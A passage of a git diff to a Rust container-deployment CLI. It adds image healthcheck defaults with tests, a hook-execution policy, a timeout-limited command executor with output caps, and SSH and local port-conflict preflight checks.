+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub fn default_healthcheck(image: &str) -> Option<ComposeHealthcheck> {
+    let name = image.to_lowercase();
+    let name_only = name.split(':').next().unwrap_or(&name);
+
+    if name_only.starts_with("postgres") || name_only.contains("postgresql") {
+        Some(ComposeHealthcheck {
+            test: "CMD-SHELL pg_isready -U postgres".to_string(),
+            interval: "5s".to_string(),
+            timeout: "2s".to_string(),
+            retries: 10,
+        })
+    } else if name_only.starts_with("redis") {
+        Some(ComposeHealthcheck {
+            test: "CMD-SHELL redis-cli ping".to_string(),
+            interval: "5s".to_string(),
+            timeout: "2s".to_string(),
+            retries: 10,
+        })
+    } else if name_only.starts_with("mysql") || name_only.contains("mysql") {
+        Some(ComposeHealthcheck {
+            test: "CMD-SHELL mysqladmin ping -h localhost".to_string(),
+            interval: "5s".to_string(),
+            timeout: "2s".to_string(),
+            retries: 10,
+        })
+    } else if name_only.starts_with("mariadb") {
+        Some(ComposeHealthcheck {
+            test: "CMD-SHELL mysqladmin ping -h localhost".to_string(),
+            interval: "5s".to_string(),
+            timeout: "2s".to_string(),
+            retries: 10,
+        })
+    } else if name_only.starts_with("mongo") {
+        Some(ComposeHealthcheck {
+            test: "CMD-SHELL mongosh --eval 'db.adminCommand(\"ping\")'".to_string(),
+            interval: "5s".to_string(),
+            timeout: "2s".to_string(),
+            retries: 10,
+        })
+    } else if name_only.starts_with("rabbitmq") {
+        Some(ComposeHealthcheck {
+            test: "CMD-SHELL rabbitmq-diagnostics -q ping".to_string(),
+            interval: "5s".to_string(),
+            timeout: "2s".to_string(),
+            retries: 10,
+        })
+    } else if name_only.starts_with("elasticsearch") {
+        Some(ComposeHealthcheck {
+            test: "CMD-SHELL curl -fsSL http://localhost:9200/_cluster/health || exit 1"
+                .to_string(),
+            interval: "5s".to_string(),
+            timeout: "2s".to_string(),
+            retries: 10,
+        })
+    } else {
+        None
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Tests
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    // ── URL parsing tests ────────────────────────────
+
+    #[test]
+    fn test_parse_github_url_https() {
+        let (owner, repo) = parse_github_url("https://github.com/octocat/hello-world").unwrap();
+        assert_eq!(owner, "octocat");
+        assert_eq!(repo, "hello-world");
+    }
+
+    #[test]
+    fn test_parse_github_url_https_trailing_slash() {
+        let (owner, repo) = parse_github_url("https://github.com/owner/repo/").unwrap();
+        assert_eq!(owner, "owner");
+        assert_eq!(repo, "repo");
+    }
+
+    #[test]
+    fn test_parse_github_url_dot_git_suffix() {
+        let (owner, repo) =
+            parse_github_url("https://github.com/ArchiveBox/ArchiveBox.git").unwrap();
+        assert_eq!(owner, "ArchiveBox");
+        assert_eq!(repo, "ArchiveBox");
+    }
+
+    #[test]
+    fn test_parse_github_url_shorthand() {
+        let (owner, repo) = parse_github_url("owner/repo").unwrap();
+        assert_eq!(owner, "owner");
+        assert_eq!(repo, "repo");
+    }
+
+    #[test]
+    fn test_parse_github_url_shorthand_with_whitespace() {
+        let (owner, repo) = parse_github_url("  owner/repo  ").unwrap();
+        assert_eq!(owner, "owner");
+        assert_eq!(repo, "repo");
+    }
+
+    #[test]
+    fn test_parse_github_url_org_with_subgroups() {
+        let (owner, repo) =
+            parse_github_url("https://github.com/rust-lang-nursery/failure").unwrap();
+        assert_eq!(owner, "rust-lang-nursery");
+        assert_eq!(repo, "failure");
+    }
+
+    #[test]
+    fn test_parse_github_url_invalid_too_short() {
+        let result = parse_github_url("just-one");
+        assert!(result.is_err());
+        let err = format!("{}", result.unwrap_err());
+        assert!(err.contains("Invalid GitHub URL"));
+    }
+
+    #[test]
+    fn test_parse_github_url_invalid_empty() {
+        let result = parse_github_url("");
+        assert!(result.is_err());
+        let err = format!("{}", result.unwrap_err());
+        assert!(err.contains("Invalid GitHub URL"));
+    }
+
+    #[test]
+    fn test_parse_github_url_invalid_three_parts() {
+        let result = parse_github_url("a/b/c");
+        assert!(result.is_err());
+        let err = format!("{}", result.unwrap_err());
+        assert!(err.contains("Invalid GitHub URL"));
+    }
+
+    #[test]
+    fn test_parse_github_url_invalid_random_url() {
+        let result = parse_github_url("https://gitlab.com/owner/repo");
+        assert!(result.is_err());
+    }
+
+    // ── Infra image classification tests ────────────
+
+    #[test]
+    fn test_is_infra_image_postgres() {
+        assert!(is_infra_image("postgres:16-alpine"));
+        assert!(is_infra_image("postgres:16"));
+        assert!(is_infra_image("postgres"));
+    }
+
+    #[test]
+    fn test_is_infra_image_redis() {
+        assert!(is_infra_image("redis:7-alpine"));
+        assert!(is_infra_image("redis:7"));
+    }
+
+    #[test]
+    fn test_is_infra_image_mysql() {
+        assert!(is_infra_image("mysql:8"));
+        assert!(is_infra_image("mariadb:11"));
+    }
+
+    #[test]
+    fn test_is_infra_image_mongo() {
+        assert!(is_infra_image("mongo:7"));
+        assert!(is_infra_image("mongo:latest"));
+    }
+
+    #[test]
+    fn test_is_infra_image_rabbitmq() {
+        assert!(is_infra_image("rabbitmq:3-management"));
+    }
+
+    #[test]
+    fn test_is_infra_image_nginx() {
+        assert!(is_infra_image("nginx:alpine"));
+        assert!(is_infra_image("nginx:latest"));
+    }
+
+    #[test]
+    fn test_is_infra_image_grafana() {
+        assert!(is_infra_image("grafana/grafana:latest"));
+    }
+
+    #[test]
+    fn test_is_infra_image_bitnami() {
+        assert!(is_infra_image("bitnami/postgresql:16"));
+        assert!(is_infra_image("bitnami/redis:7"));
+    }
+
+    #[test]
+    fn test_is_infra_image_traefik() {
+        assert!(is_infra_image("traefik:latest"));
+    }
+
+    #[test]
+    fn test_is_not_infra_image_app() {
+        assert!(!is_infra_image("myapp:latest"));
+        assert!(!is_infra_image("node:20-alpine"));
+        assert!(!is_infra_image("python:3.12-slim"));
+        assert!(!is_infra_image("rust:1.77-alpine"));
+        assert!(!is_infra_image("golang:1.22-alpine"));
+        assert!(!is_infra_image("ghcr.io/owner/myapp:latest"));
+        assert!(!is_infra_image("outline/wiki:latest"));
+        assert!(!is_infra_image("rustfs/rustfs:latest"));
+    }
+
+    #[test]
+    fn test_is_infra_image_case_insensitive() {
+        assert!(is_infra_image("Postgres:16"));
+        assert!(is_infra_image("REDIS:7"));
+        assert!(is_infra_image("Nginx:Alpine"));
+    }
+
+    // ── Default healthcheck tests ────────────────────
+
+    #[test]
+    fn test_default_healthcheck_postgres() {
+        let hc = default_healthcheck("postgres:16-alpine").unwrap();
+        assert!(hc.test.contains("pg_isready"));
+        assert_eq!(hc.interval, "5s");
+    }
+
+    #[test]
+    fn test_default_healthcheck_bitnami_postgres() {
+        let hc = default_healthcheck("bitnami/postgresql:16").unwrap();
+        assert!(hc.test.contains("pg_isready"));
+    }
+
+    #[test]
+    fn test_default_healthcheck_redis() {
+        let hc = default_healthcheck("redis:7-alpine").unwrap();
+        assert!(hc.test.contains("redis-cli ping"));
+    }
+
+    #[test]
+    fn test_default_healthcheck_mysql() {
+        let hc = default_healthcheck("mysql:8").unwrap();
+        assert!(hc.test.contains("mysqladmin ping"));
+    }
+
+    #[test]
+    fn test_default_healthcheck_mariadb() {
+        let hc = default_healthcheck("mariadb:11").unwrap();
+        assert!(hc.test.contains("mysqladmin ping"));
+    }
+
+    #[test]
+    fn test_default_healthcheck_mongo() {
+        let hc = default_healthcheck("mongo:7").unwrap();
+        assert!(hc.test.contains("mongosh"));
+    }
+
+    #[test]
+    fn test_default_healthcheck_rabbitmq() {
+        let hc = default_healthcheck("rabbitmq:3-management").unwrap();
+        assert!(hc.test.contains("rabbitmq-diagnostics"));
+    }
+
+    #[test]
+    fn test_default_healthcheck_elasticsearch() {
+        let hc = default_healthcheck("elasticsearch:8.12.0").unwrap();
+        assert!(hc.test.contains("_cluster/health"));
+    }
+
+    #[test]
+    fn test_default_healthcheck_app_image_returns_none() {
+        assert!(default_healthcheck("node:20-alpine").is_none());
+        assert!(default_healthcheck("myapp:latest").is_none());
+        assert!(default_healthcheck("python:3.12-slim").is_none());
+    }
+}
diff --git a/src/cli/install_runner.rs b/src/cli/install_runner.rs
index 13f014f5..95d66d9d 100644
--- a/src/cli/install_runner.rs
+++ b/src/cli/install_runner.rs
@@ -1,7 +1,9 @@
 use std::path::{Path, PathBuf};
 
+use crate::cli::cloud_env;
+use crate::cli::compose_targets;
 use crate::cli::config_parser::{CloudOrchestrator, DeployTarget, StackerConfig};
-use crate::cli::credentials::CredentialsManager;
+use crate::cli::credentials::{CredentialsManager, StoredCredentials};
 use crate::cli::error::CliError;
 use crate::cli::stacker_client::{self, StackerClient};
 
@@ -21,10 +23,65 @@ pub const CONTAINER_COMPOSE_PATH: &str = "/app/docker-compose.yml";
 /// Mount point for SSH keys inside the install container.
 pub const CONTAINER_SSH_KEY_PATH: &str = "/root/.ssh/id_rsa";
 
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// HookPolicy — user-controlled hook execution guard rails
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Runtime policy for shell hook execution during deploy.
+///
+/// Separates two concerns:
+///   * `no_hooks`         — skip all hooks unconditionally (CI-safe deploys).
+///   * `allow_untrusted`  — permit hooks even when `StackerConfig::origin`
+///                           is `MarketplaceGenerated`. Default is to refuse
+///                           so a hostile marketplace template can't drive
+///                           local execution just because the user typed
+///                           `stacker deploy` after `stacker install`.
+///
+/// Both flags default to `false`. `run_hook` reads this policy together with
+/// the config's origin and either runs, skips, or errors.
+#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
+pub struct HookPolicy {
+    pub no_hooks: bool,
+    pub allow_untrusted: bool,
+}
+
+impl HookPolicy {
+    pub fn trusted() -> Self {
+        Self::default()
+    }
+
+    pub fn allow_untrusted() -> Self {
+        Self {
+            no_hooks: false,
+            allow_untrusted: true,
+        }
+    }
+
+    pub fn no_hooks() -> Self {
+        Self {
+            no_hooks: true,
+            allow_untrusted: false,
+        }
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // CommandExecutor — abstraction for running shell commands (DIP)
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Byte cap enforced at the OS pipe level by `ShellExecutor::execute_with_timeout`.
+///
+/// This is the OOM-defence layer: even if a hostile hook emits gigabytes on
+/// stdout / stderr, at most this many bytes are ever held in the CLI's
+/// memory. Anything beyond the cap is drained straight to a sink so the
+/// child does not block on a full pipe.
+///
+/// Slightly larger than `HOOK_OUTPUT_MAX_BYTES` in `deploy.rs` (which caps
+/// the *displayed* output at 1 MiB) so callers can distinguish "output
+/// hit the pipe cap" from "output hit the display cap". Both layers are
+/// necessary — pipe-level guards memory, display-level guards the terminal.
+pub const HOOK_PIPE_OUTPUT_MAX_BYTES: usize = 1_048_576 + 1024;
+
 /// Result of executing a command.
 #[derive(Debug, Clone)]
 pub struct CommandOutput {
@@ -45,6 +102,23 @@ impl CommandOutput {
 /// Tests: `MockExecutor` records commands for assertion without side effects.
 pub trait CommandExecutor: Send + Sync {
     fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError>;
+
+    /// Execute with a hard timeout.  The default implementation (used by
+    /// `MockExecutor`) delegates to [`execute`](CommandExecutor::execute)
+    /// and ignores the timeout + current_dir — mocks never block.
+    ///
+    /// `ShellExecutor` overrides this with a real timeout that uses
+    /// [`Command::spawn`] + [`try_wait`] + [`kill`], clears the environment,
+    /// and sets the working directory to `current_dir` when provided.
+    fn execute_with_timeout(
+        &self,
+        program: &str,
+        args: &[&str],
+        _timeout: std::time::Duration,
+        _current_dir: Option<&Path>,
+    ) -> Result<CommandOutput, CliError> {
+        self.execute(program, args)
+    }
 }
 
 /// Production executor — actually runs docker commands.
@@ -66,6 +140,134 @@ impl CommandExecutor for ShellExecutor {
             stderr: String::from_utf8_lossy(&output.stderr).to_string(),
         })
     }
+
+    fn execute_with_timeout(
+        &self,
+        program: &str,
+        args: &[&str],
+        timeout: std::time::Duration,
+        current_dir: Option<&Path>,
+    ) -> Result<CommandOutput, CliError> {
+        let program_owned = program.to_string();
+        let args_owned: Vec<String> = args.iter().map(|s| s.to_string()).collect();
+
+        let mut cmd = std::process::Command::new(&program_owned);
+        cmd.args(&args_owned);
+        cmd.stdout(std::process::Stdio::piped());
+        cmd.stderr(std::process::Stdio::piped());
+        // Security: clear environment to prevent secret leakage (H2)
+        cmd.env_clear();
+        cmd.env("PATH", "/usr/bin:/bin:/usr/local/bin");
+        if let Some(home) = std::env::var_os("HOME") {
+            cmd.env("HOME", home);
+        }
+        if let Some(dir) = current_dir {
+            cmd.current_dir(dir);
+        }
+
+        let mut child = cmd.spawn().map_err(|e| CliError::CommandFailed {
+            command: format!("{} {} — {}", program, args.join(" "), e),
+            exit_code: -1,
+        })?;
+
+        // Phase 8b OOM defence: drain each pipe in its own thread with a
+        // hard byte cap. Anything past the cap is discarded — but the
+        // drain CONTINUES so the child never blocks on a full pipe.
+        //
+        // Both threads must be spawned before `try_wait` sees `Some`,
+        // otherwise the child can fill its pipe buffer and block on
+        // write while we sit polling.
+        let stdout_pipe = child.stdout.take().ok_or_else(|| CliError::CommandFailed {
+            command: format!("{} {}", program, args.join(" ")),
+            exit_code: -1,
+        })?;
+        let stderr_pipe = child.stderr.take().ok_or_else(|| CliError::CommandFailed {
+            command: format!("{} {}", program, args.join(" ")),
+            exit_code: -1,
+        })?;
+
+        let stdout_handle =
+            std::thread::spawn(move || drain_capped(stdout_pipe, HOOK_PIPE_OUTPUT_MAX_BYTES));
+        let stderr_handle =
+            std::thread::spawn(move || drain_capped(stderr_pipe, HOOK_PIPE_OUTPUT_MAX_BYTES));
+
+        let deadline = std::time::Instant::now() + timeout;
+        let poll_interval = std::time::Duration::from_millis(100);
+
+        loop {
+            match child.try_wait() {
+                Ok(Some(status)) => {
+                    // Reap the drainer threads — they exit on EOF once
+                    // the child closes its pipes at exit.
+                    let stdout_bytes = stdout_handle.join().unwrap_or_default();
+                    let stderr_bytes = stderr_handle.join().unwrap_or_default();
+                    return Ok(CommandOutput {
+                        exit_code: status.code().unwrap_or(-1),
+                        stdout: String::from_utf8_lossy(&stdout_bytes).to_string(),
+                        stderr: String::from_utf8_lossy(&stderr_bytes).to_string(),
+                    });
+                }
+                Ok(None) => {
+                    if std::time::Instant::now() >= deadline {
+                        let _ = child.kill();
+                        let _ = child.wait();
+                        // Drainers will now see EOF and finish; joining
+                        // them here is bounded by the OS pipe buffer size.
+                        let _ = stdout_handle.join();
+                        let _ = stderr_handle.join();
+                        return Err(CliError::DeployFailed {
+                            target: crate::cli::config_parser::DeployTarget::Local,
+                            reason: format!(
+                                "Command '{} {}' timed out after {}s",
+                                program,
+                                args.join(" "),
+                                timeout.as_secs()
+                            ),
+                        });
+                    }
+                    std::thread::sleep(poll_interval);
+                }
+                Err(_e) => {
+                    let _ = child.kill();
+                    let _ = child.wait();
+                    let _ = stdout_handle.join();
+                    let _ = stderr_handle.join();
+                    return Err(CliError::CommandFailed {
+                        command: format!("{} {}", program, args.join(" ")),
+                        exit_code: -1,
+                    });
+                }
+            }
+        }
+    }
+}
+
+/// Read from `reader` and return up to `max_bytes` in a `Vec<u8>`. Anything
+/// past the cap is discarded to a sink so the writer never blocks on a
+/// full pipe. Returns on EOF or on the first read error.
+fn drain_capped<R: std::io::Read>(mut reader: R, max_bytes: usize) -> Vec<u8> {
+    let mut kept = Vec::with_capacity(4096.min(max_bytes));
+    let mut chunk = [0u8; 8192];
+    let mut sink_only = false;
+    loop {
+        match reader.read(&mut chunk) {
+            Ok(0) => return kept,
+            Ok(n) => {
+                if sink_only {
+                    continue;
+                }
+                let remaining = max_bytes.saturating_sub(kept.len());
+                let take = n.min(remaining);
+                if take > 0 {
+                    kept.extend_from_slice(&chunk[..take]);
+                }
+                if kept.len() >= max_bytes {
+                    sink_only = true;
+                }
+            }
+            Err(_) => return kept,
+        }
+    }
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -98,6 +300,15 @@ pub struct DeployContext {
 
     /// Container runtime preference ("runc" or "kata").
     pub runtime: String,
+
+    /// Environment-specific config files collected from compose env_file and bind mounts.
+    pub config_bundle: Option<crate::cli::config_bundle::ConfigBundleArtifacts>,
+
+    /// Whether the Stacker-managed proxy role should be requested from Install Service.
+    pub managed_proxy_feature_enabled: bool,
+
+    /// Whether the user explicitly requested a fresh cloud server (`stacker deploy --force-new`).
+    pub force_new: bool,
 }
 
 impl DeployContext {
@@ -106,6 +317,10 @@ impl DeployContext {
     }
 }
 
+fn should_run_managed_proxy_preflight(context: &DeployContext, target: DeployTarget) -> bool {
+    context.managed_proxy_feature_enabled && !(target == DeployTarget::Cloud && context.force_new)
+}
+
 /// Outcome of a successful deployment.
 #[derive(Debug, Clone)]
 pub struct DeployResult {
@@ -155,6 +370,313 @@ pub fn strategy_for(target: &DeployTarget) -> Box<dyn DeployStrategy> {
 // LocalDeploy — docker compose up/down
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Parse the host-port side of a single compose port entry.
+///
+/// Handles both string form (`"127.0.0.1:3000:3000"`, `"3000:3000"`) and
+/// mapping form (`{ published: 3000, target: 3000 }`).
+fn parse_compose_host_port(entry: &serde_yaml::Value) -> Option<String> {
+    match entry {
+        serde_yaml::Value::String(spec) => {
+            let trimmed = spec.trim();
+            if trimmed.is_empty() {
+                return None;
+            }
+            let without_proto = trimmed.split('/').next().unwrap_or(trimmed);
+            let parts: Vec<&str> = without_proto.split(':').collect();
+            if parts.len() < 2 {
+                return None;
+            }
+            let port = parts[parts.len() - 2].trim();
+            if port.is_empty() {
+                None
+            } else {
+                Some(port.to_string())
+            }
+        }
+        serde_yaml::Value::Mapping(m) => {
+            let key = serde_yaml::Value::String("published".to_string());
+            m.get(&key).and_then(|v| match v {
+                serde_yaml::Value::String(s) => Some(s.clone()),
+                serde_yaml::Value::Number(n) => Some(n.to_string()),
+                _ => None,
+            })
+        }
+        _ => None,
+    }
+}
+
+/// Return all `(host_port, service_name)` pairs declared in a compose file.
+fn collect_compose_host_port_services(compose_path: &Path) -> Vec<(String, String)> {
+    let raw = match std::fs::read_to_string(compose_path) {
+        Ok(r) => r,
+        Err(_) => return vec![],
+    };
+    let doc: serde_yaml::Value = match serde_yaml::from_str(&raw) {
+        Ok(d) => d,
+        Err(_) => return vec![],
+    };
+    let services = match doc
+        .as_mapping()
+        .and_then(|m| m.get(&serde_yaml::Value::String("services".to_string())))
+        .and_then(|v| v.as_mapping())
+    {
+        Some(s) => s,
+        None => return vec![],
+    };
+
+    let mut result = Vec::new();
+    for (svc_key, svc_val) in services {
+        let svc_name = svc_key.as_str().unwrap_or("<unknown>").to_string();
+        let svc_map = match svc_val.as_mapping() {
+            Some(m) => m,
+            None => continue,
+        };
+        let ports_key = serde_yaml::Value::String("ports".to_string());
+        let ports = match svc_map.get(&ports_key).and_then(|v| v.as_sequence()) {
+            Some(p) => p,
+            None => continue,
+        };
+        for port in ports {
+            if let Some(host_port) = parse_compose_host_port(port) {
+                if !host_port.is_empty() {
+                    result.push((host_port, svc_name.clone()));
+                }
+            }
+        }
+    }
+    result
+}
+
+/// Parse `0.0.0.0:3000->3000/tcp` → `"3000"` from `docker ps` port strings.
+fn extract_port_from_docker_ps_entry(spec: &str) -> Option<String> {
+    let spec = spec.trim();
+    if spec.is_empty() {
+        return None;
+    }
+    // e.g. "0.0.0.0:3000->3000/tcp" or ":::3000->3000/tcp" or "3000/tcp"
+    let host_part = if let Some(arrow) = spec.find("->") {
+        &spec[..arrow]
+    } else {
+        return None; // no host binding, container-only port
+    };
+    // host_part is e.g. "0.0.0.0:3000" or ":::3000"
+    host_part
+        .rsplit(':')
+        .next()
+        .map(|p| p.trim().to_string())
+        .filter(|p| !p.is_empty())
+}
+
+/// Ask Docker for the host ports currently bound by THIS compose project's containers.
+///
+/// Uses `docker compose -f <path> ps --format "{{.Ports}}"`.
+/// Returns an empty set if Docker is unavailable or the project has no running containers.
+fn get_own_compose_running_ports(
+    compose_path: &Path,
+    executor: &dyn CommandExecutor,
+) -> std::collections::HashSet<String> {
+    let compose_str = compose_path.to_string_lossy();
+    let out = match executor.execute(
+        "docker",
+        &[
+            "compose",
+            "-f",
+            &compose_str,
+            "ps",
+            "--format",
+            "{{.Ports}}",
+        ],
+    ) {
+        Ok(o) if o.success() => o,
+        _ => return Default::default(),
+    };
+    let mut ports = std::collections::HashSet::new();
+    for line in out.stdout.lines() {
+        for segment in line.split(',') {
+            if let Some(p) = extract_port_from_docker_ps_entry(segment.trim()) {
+                ports.insert(p);
+            }
+        }
+    }
+    ports
+}
+
+/// Check the remote server for port conflicts before `docker compose up`.
+///
+/// SSHs to the server and collects occupied ports from both system listeners
+/// (`ss` or `netstat` fallback) and Docker containers (`docker ps`). Returns
+/// a list of port conflicts that would prevent `docker compose up` from
+/// succeeding.
+///
+/// Returns an empty vec if SSH fails (network issue, no key, etc.) so the
+/// deployment can still proceed — the pre-check is best-effort.
+fn check_remote_host_port_conflicts(
+    compose_path: &Path,
+    user_at_host: &str,
+    ssh_args: &[&str],
+) -> Vec<String> {
+    let port_services = collect_compose_host_port_services(compose_path);
+    if port_services.is_empty() {
+        return vec![];
+    }
+
+    let check_cmd = r#"( ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null ) | awk '/LISTEN/{print $4}' | sed 's/.*://'; docker ps --format '{{.Ports}}' 2>/dev/null | tr ',' '\n' | sed -n 's/.*:\([0-9]*\)->.*/\1/p'"#;
+
+    let output = match std::process::Command::new("ssh")
+        .args(ssh_args)
+        .arg(user_at_host)
+        .arg(check_cmd)
+        .output()
+    {
+        Ok(o) => o,
+        Err(_) => return vec![],
+    };
+
+    let stdout = String::from_utf8_lossy(&output.stdout);
+    let occupied: std::collections::HashSet<String> = stdout
+        .lines()
+        .map(|l| l.trim().to_string())
+        .filter(|l| !l.is_empty() && l.chars().all(|c| c.is_ascii_digit()))
+        .collect();
+
+    let mut conflicts = Vec::new();
+    for (port, svc) in &port_services {
+        if occupied.contains(port) {
+            conflicts.push(format!(
+                "port {} (service '{}') is already occupied on remote {} — \
+                 find the owning process with: ssh -t {} 'ss -tlnp sport = :{} || netstat -tlnp | grep :{}'",
+                port, svc, user_at_host, user_at_host, port, port
+            ));
+        }
+    }
+    conflicts
+}
+
+/// Detect port-conflict error patterns in install-container output and return
+/// human-readable hints to help the user diagnose and fix them.
+fn detect_port_conflicts_in_output(stderr: &str, stdout: &str) -> Vec<String> {
+    use std::sync::LazyLock;
+
+    static BIND_RE: LazyLock<regex::Regex> =
+        LazyLock::new(|| regex::Regex::new(r"Bind for [\d.]+:(\d+) failed").unwrap());
+    static ALLOCATED_RE: LazyLock<regex::Regex> =
+        LazyLock::new(|| regex::Regex::new(r"port (\d+) is already allocated").unwrap());
+
+    let combined = format!("{}\n{}", stderr, stdout);
+    let lower = combined.to_lowercase();
+
+    if !lower.contains("is already allocated")
+        && !lower.contains("bind for 0.0.0.0")
+        && !lower.contains("failed programming external connectivity")
+    {
+        return vec![];
+    }
+
+    let mut hints = vec![
+        "Port conflict detected on the deployment target.".to_string(),
+        "A process or container on the remote server is already using a port that this deploy requires.".to_string(),
+    ];
+
+    let port: Option<String> = {
+        let full = format!("{} {}", stderr, stdout);
+        let mut found = None;
+        for line in full.lines() {
+            if let Some(caps) = BIND_RE.captures(line) {
+                if let Some(port_match) = caps.get(1) {
+                    found = Some(port_match.as_str().to_string());
+                    break;
+                }
+            }
+        }
+        if found.is_none() {
+            for line in full.lines() {
+                if let Some(caps) = ALLOCATED_RE.captures(line) {
+                    if let Some(port_match) = caps.get(1) {
+                        found = Some(port_match.as_str().to_string());
+                        break;
+                    }
+                }
+            }
+        }
+        found
+    };
+
+    if let Some(ref port) = port {
+        hints.push(format!(
+            "Conflicting port: {} — use `ssh <host> 'ss -tlnp sport = :{} || netstat -tlnp | grep :{}'` to identify the owner.",
+            port, port, port
+        ));
+    }
+
+    hints.push(
+        "Check for leftover containers from previous deploys below and clean them up:".to_string(),
+    );
+    hints.push("  ssh <host> 'docker ps --format \"table {{.Names}}\\t{{.Ports}}\"'".to_string());
+    hints.push("  ssh <host> 'docker rm -f <container>'".to_string());
+    hints.push(
+        "Alternatively, change the conflicting port in stacker.yml and redeploy.".to_string(),
+    );
+
+    hints
+}
+
+/// Return a human-readable message listing port conflicts found before deploy.
+fn format_preflight_port_conflicts(target: &str, conflicts: &[String]) -> String {
+    format!(
+        "Host port conflict detected before deploy to {}:\n  • {}\n\
+         Stop the conflicting process or change the port in stacker.yml, then retry.",
+        target,
+        conflicts.join("\n  • ")
+    )
+}
+
+/// Pre-flight check: detect host ports that are already occupied by something
+/// OTHER than the current compose project's own running containers.
+///
+/// Returns a list of human-readable conflict descriptions (empty = no conflicts).
+/// Silently skips any port it cannot inspect so that environments without full
+/// Docker access still work.
+fn check_local_host_port_conflicts(
+    compose_path: &Path,
+    executor: &dyn CommandExecutor,
+) -> Vec<String> {
+    use std::net::TcpListener;
+
+    let port_services = collect_compose_host_port_services(compose_path);
+    if port_services.is_empty() {
+        return vec![];
+    }
+
+    // Find which ports are already bound on the local machine.
+    let occupied: Vec<(String, String)> = port_services
+        .into_iter()
+        .filter(|(port, _)| {
+            let addr = format!("0.0.0.0:{}", port);
+            TcpListener::bind(&addr).is_err()
+        })
+        .collect();
+
+    if occupied.is_empty() {
+        return vec![];
+    }
+
+    // Exclude ports that belong to OUR own currently-running project containers —
+    // docker compose up will stop-and-restart them without a conflict.
+    let own_ports = get_own_compose_running_ports(compose_path, executor);
+
+    occupied
+        .into_iter()
+        .filter(|(port, _)| !own_ports.contains(port))
+        .map(|(port, svc)| {
+            format!(
+                "port {} (service '{}') is already allocated on this host — \
+                 find the owner with: lsof -nP -iTCP:{} -sTCP:LISTEN",
+                port, svc, port
+            )
+        })
+        .collect()
+}
+
 /// Detect which compose invocation is available on this host.
 ///
 /// Returns `("docker", vec!["compose"])` when the Docker Compose plugin is
@@ -200,6 +722,19 @@ impl DeployStrategy for LocalDeploy {
 
         let compose_path = context.compose_path.to_string_lossy().to_string();
 
+        // Pre-flight: catch host port conflicts before docker compose up so the
+        // error is actionable rather than buried in Docker daemon output.
+        let port_conflicts = check_local_host_port_conflicts(&context.compose_path, executor);
+        if !port_conflicts.is_empty() {
+            return Err(CliError::DeployFailed {
+                target: DeployTarget::Local,
+                reason: format!(
+                    "Host port conflict detected before deploy:\n  • {}\nStop the conflicting process or change the port in stacker.yml, then retry.",
+                    port_conflicts.join("\n  • ")
+                ),
+            });
+        }
+
         let (cmd, base_args) = resolve_compose_cmd(executor);
         let mut args: Vec<String> = base_args.iter().map(|s| s.to_string()).collect();
 
@@ -413,7 +948,8 @@ impl InstallContainerCommand {
 
             // Mount SSH key if specified
             if let Some(ref ssh_key) = cloud.ssh_key {
-                cmd = cmd.mount(ssh_key, CONTAINER_SSH_KEY_PATH);
+                let resolved_ssh_key = resolve_ssh_key_path(ssh_key);
+                cmd = cmd.mount(&resolved_ssh_key, CONTAINER_SSH_KEY_PATH);
             }
         }
 
@@ -424,7 +960,8 @@ impl InstallContainerCommand {
             cmd = cmd.env("SERVER_PORT", &server.port.to_string());
 
             if let Some(ref ssh_key) = server.ssh_key {
-                cmd = cmd.mount(ssh_key, CONTAINER_SSH_KEY_PATH);
+                let resolved_ssh_key = resolve_ssh_key_path(ssh_key);
+                cmd = cmd.mount(&resolved_ssh_key, CONTAINER_SSH_KEY_PATH);
             }
         }
 
@@ -456,12 +993,14 @@ impl DeployStrategy for CloudDeploy {
         if let Some(cloud_cfg) = &config.deploy.cloud {
             if cloud_cfg.orchestrator == CloudOrchestrator::Remote {
                 let cred_manager = CredentialsManager::with_default_store();
-                let creds = cred_manager.require_valid_token("remote cloud orchestrator deployment")?;
+                let creds =
+                    cred_manager.require_valid_token("remote cloud orchestrator deployment")?;
 
                 if context.dry_run {
                     return Ok(DeployResult {
                         target: DeployTarget::Cloud,
-                        message: "Remote cloud deploy dry-run validated payload and credentials".to_string(),
+                        message: "Remote cloud deploy dry-run validated payload and credentials"
+                            .to_string(),
                         server_ip: None,
                         deployment_id: None,
                         project_id: None,
@@ -488,9 +1027,7 @@ impl DeployStrategy for CloudDeploy {
                     .clone()
                     .or_else(|| cloud_cfg.server.clone());
 
-                let base_url = normalize_stacker_server_url(
-                    stacker_client::DEFAULT_STACKER_URL,
-                );
+                let base_url = resolve_saved_stacker_base_url(&creds);
 
                 let rt = tokio::runtime::Builder::new_current_thread()
                     .enable_all()
@@ -501,11 +1038,26 @@ impl DeployStrategy for CloudDeploy {
                     })?;
 
                 let (response, effective_server_name) = rt.block_on(async {
-                    let client = StackerClient::new(&base_url, &creds.access_token);
+                    let client = StackerClient::new_for_target(
+                        &base_url,
+                        &creds.access_token,
+                        DeployTarget::Server,
+                    );
 
                     // Step 1: Resolve or auto-create project
                     eprintln!("  Resolving project '{}'...", project_name);
-                    let project_body = stacker_client::build_project_body(config);
+                    let project_config =
+                        compose_targets::config_with_compose_secret_target_services(
+                            config,
+                            &context.compose_path,
+                        )?;
+                    let mut project_body = stacker_client::build_project_body(&project_config);
+                    if let Some(bundle) = &context.config_bundle {
+                        stacker_client::attach_config_bundle_to_project_body(
+                            &mut project_body,
+                            bundle,
